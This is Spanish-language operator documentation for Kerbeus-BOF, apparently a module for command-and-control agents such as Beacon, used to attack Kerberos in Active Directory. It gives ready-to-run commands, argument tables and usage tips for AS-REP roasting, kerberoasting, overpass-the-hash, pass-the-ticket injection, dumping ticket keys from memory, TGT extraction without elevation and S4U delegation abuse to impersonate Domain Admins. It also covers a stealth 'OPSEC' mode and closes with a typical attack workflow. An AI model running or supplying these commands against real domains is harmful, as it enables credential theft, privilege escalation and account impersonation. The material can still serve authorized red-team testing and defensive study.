Kerbeus-BOF — Kerberos
El módulo Kerbeus-BOF proporciona un conjunto completo de herramientas para abusar del protocolo Kerberos en entornos Active Directory. Desde ataques de roasting para crackeo offline hasta abuso de delegación S4U y manipulación de tickets.
Todos los comandos usan el prefijo kerbeus y emplean la sintaxis de argumentos con /parametro:valor.
Agentes compatibles: Beacon, Gopher, Kharon
Plataforma: Windows
Ataques de Roasting
kerbeus asreproasting
Realiza un ataque AS-REP Roasting contra usuarios que tienen deshabilitada la pre-autenticación Kerberos (DONT_REQ_PREAUTH).
Cuándo usarlo: Durante la fase de reconocimiento, cuando identificas usuarios con el flag DONT_REQ_PREAUTH habilitado. El hash obtenido puede crackearse offline con hashcat (modo 18200).
kerbeus asreproasting /user:svc_backup
kerbeus asreproasting /user:svc_backup /dc:DC01.corp.local
kerbeus asreproasting /user:svc_backup /domain:corp.local| Argumento | Requerido | Descripción |
|---|---|---|
/user:USER | Sí | Usuario objetivo |
/dc:DC | No | Domain Controller |
/domain:DOMAIN | No | Nombre del dominio |
kerbeus kerberoasting
Realiza un ataque Kerberoasting para obtener el TGS cifrado de un servicio, crackeable offline.
Cuándo usarlo: Cuando identificas cuentas de servicio con SPNs registrados. El TGS se cifra con el hash de la cuenta de servicio, permitiendo crackeo offline con hashcat (modo 13100 para RC4, 19700 para AES).
kerbeus kerberoasting /spn:MSSQLSvc/db01.corp.local:1433
kerbeus kerberoasting /spn:HTTP/web01.corp.local /ticket:doIF8DCCBey...
kerbeus kerberoasting /spn:MSSQLSvc/db01.corp.local /nopreauth:vulnuser /dc:DC01| Argumento | Requerido | Descripción |
|---|---|---|
/spn:SPN | Sí | Service Principal Name del servicio objetivo |
/nopreauth:USER | No | Usar AS-REP de un usuario sin pre-auth (sin necesidad de TGT) |
/ticket:BASE64 | No | TGT para autenticarse (si no se usa la sesión actual) |
/dc:DC | No | Domain Controller |
/domain:DOMAIN | No | Nombre del dominio |
Solicitud y gestión de tickets
kerbeus asktgt
Solicita un Ticket Granting Ticket (TGT). Soporta múltiples métodos de autenticación.
Cuándo usarlo: Para obtener un TGT que luego puedes usar para acceder a servicios. Es el equivalente a “iniciar sesión” en Kerberos. Combinado con /ptt, inyecta el ticket directamente en la sesión.
Con contraseña
kerbeus asktgt /user:Administrator /password:P@ssw0rd! /enctype:aes256 /opsec /pttCon hash AES256 (Pass-the-Key)
kerbeus asktgt /user:Administrator /aes256:a1b2c3d4e5f6... /pttCon hash RC4/NTLM (Overpass-the-Hash)
kerbeus asktgt /user:Administrator /rc4:aabbccdd11223344... /pttSin pre-autenticación
kerbeus asktgt /user:vulnuser /nopreauth| Argumento | Requerido | Descripción |
|---|---|---|
/user:USER | Sí | Usuario |
/password:PASS | Sí* | Contraseña |
/aes256:HASH | Sí* | Clave AES256 |
/rc4:HASH | Sí* | Hash NTLM/RC4 |
/nopreauth | Sí* | Sin credenciales (pre-auth deshabilitada) |
/domain:DOMAIN | No | Dominio |
/dc:DC | No | Domain Controller |
/enctype:TYPE | No | Tipo de cifrado (rc4 o aes256) |
/service:SPN | No | SPN para solicitar un TGS directamente |
/ptt | No | Pass-the-ticket: inyectar en sesión actual |
/nopac | No | No incluir PAC |
/opsec | No | Modo OPSEC: comportamiento más sigiloso |
* Se requiere exactamente uno de: /password, /aes256, /rc4 o /nopreauth.
kerbeus asktgs
Solicita un Ticket Granting Service (TGS) usando un TGT existente.
kerbeus asktgs /service:CIFS/dc01.corp.local /ticket:doIF8DCCBey... /ptt
kerbeus asktgs /service:CIFS/dc01.corp.local,HTTP/dc01.corp.local /ticket:doIF8... /opsec| Argumento | Requerido | Descripción |
|---|---|---|
/ticket:BASE64 | Sí | TGT en Base64 |
/service:SPN | Sí | SPN(s) del servicio (separados por coma para múltiples) |
/domain:DOMAIN | No | Dominio |
/dc:DC | No | Domain Controller |
/enctype:TYPE | No | Tipo de cifrado |
/ptt | No | Inyectar ticket en la sesión |
/opsec | No | Modo OPSEC |
/u2u | No | User-to-User |
/dmsa | No | Delegated Managed Service Account |
kerbeus ptt
Importa un ticket Kerberos en la sesión de logon actual (Pass-the-Ticket).
kerbeus ptt /ticket:doIF8DCCBey...
kerbeus ptt /ticket:doIF8DCCBey... /luid:0x3ea8| Argumento | Requerido | Descripción |
|---|---|---|
/ticket:BASE64 | Sí | Ticket en Base64 |
/luid:ID | No | Logon session ID (por defecto: sesión actual) |
kerbeus describe
Parsea y describe los campos de un ticket Kerberos.
kerbeus describe /ticket:doIF8DCCBey...kerbeus renew
Renueva un TGT existente.
kerbeus renew /ticket:doIF8DCCBey... /pttListado y limpieza de tickets
kerbeus triage
Lista los tickets en caché en formato de tabla. Más legible que klist.
kerbeus triage
kerbeus triage /luid:0x3ea8
kerbeus triage /user:Administratorkerbeus klist
Lista los tickets en caché con detalle completo.
kerbeus klist
kerbeus klist /luid:0x3ea8kerbeus dump
Extrae los tickets completos (incluyendo las claves) de la memoria.
kerbeus dump
kerbeus dump /user:Administrator /service:krbtgtNota:
dumprequiere privilegios elevados (SYSTEM o equivalente).klistytriagefuncionan sin elevación para la sesión actual.
kerbeus purge
Elimina los tickets en caché de una sesión de logon.
kerbeus purge
kerbeus purge /luid:0x3ea8Utilidades
kerbeus hash
Calcula las claves Kerberos (RC4, AES128, AES256) a partir de una contraseña.
Cuándo usarlo: Para convertir una contraseña en texto plano a los diferentes formatos de hash Kerberos necesarios para asktgt.
kerbeus hash /password:P@ssw0rd!
kerbeus hash /password:P@ssw0rd! /user:Administrator /domain:corp.local| Argumento | Requerido | Descripción |
|---|---|---|
/password:PASS | Sí | Contraseña |
/user:USER | No | Usuario (afecta el cálculo de salt AES) |
/domain:DOMAIN | No | Dominio (afecta el salt AES) |
kerbeus changepw
Cambia la contraseña de un usuario usando un TGT válido.
kerbeus changepw /ticket:doIF8DCCBey... /new:N3wP@ss!kerbeus tgtdeleg
Obtiene un TGT utilizable para el usuario actual sin necesidad de elevación abusando de la API GSS de Kerberos.
Cuándo usarlo: Cuando necesitas un TGT exportable del usuario actual pero no tienes privilegios administrativos para hacer dump. Este truco usa la delegación de aplicaciones para obtener un ticket re-utilizable.
kerbeus tgtdeleg
kerbeus tgtdeleg /target:CIFS/dc01.corp.localAbuso de delegación
kerbeus s4u
Abusa de la delegación confinada (Constrained Delegation) mediante S4U2Self + S4U2Proxy para impersonar a un usuario contra un servicio.
Cuándo usarlo: Cuando comprometes una cuenta configurada para delegación confinada (msDS-AllowedToDelegateTo). Puedes impersonar a cualquier usuario (incluso Domain Admins) contra los servicios permitidos.
kerbeus s4u /ticket:doIF8DCCBey... /impersonateuser:Administrator /service:CIFS/fileserver.corp.local /ptt
kerbeus s4u /ticket:doIF8DCCBey... /impersonateuser:Administrator /service:HTTP/web01.corp.local /altservice:CIFS /ptt| Argumento | Requerido | Descripción |
|---|---|---|
/ticket:BASE64 | Sí | TGT de la cuenta con delegación |
/service:SPN | Sí | SPN del servicio destino |
/impersonateuser:USER | Sí* | Usuario a impersonar |
/tgs:BASE64 | Sí* | TGS existente (alternativa a impersonateuser) |
/altservice:SVC | No | Servicio alternativo (para cambiar el servicio del ticket) |
/ptt | No | Inyectar en sesión |
/nopac | No | Sin PAC |
/opsec | No | Modo OPSEC |
/self | No | Solo S4U2Self |
kerbeus cross_s4u
Igual que s4u pero para delegación entre dominios diferentes.
kerbeus cross_s4u /ticket:doIF8DCCBey... /impersonateuser:Administrator /targetdomain:child.corp.local /targetdc:dc.child.corp.local /service:CIFS/server.child.corp.local| Argumento adicional | Requerido | Descripción |
|---|---|---|
/targetdomain:DOMAIN | Sí | Dominio destino |
/targetdc:DC | Sí | DC del dominio destino |
Flujo de trabajo típico
# Reconocimiento
kerbeus triage → Ver tickets en caché
kerbeus tgtdeleg → Obtener TGT sin elevación
# Roasting
kerbeus asreproasting /user:svc_backup → AS-REP Roast
kerbeus kerberoasting /spn:MSSQLSvc/... → Kerberoast
# Pass-the-Hash/Key
kerbeus hash /password:P@ss → Obtener hashes Kerberos
kerbeus asktgt /user:admin /rc4:HASH /ptt → Overpass-the-hash
# Delegación
kerbeus s4u /ticket:... /impersonateuser:Administrator /service:CIFS/... /ptt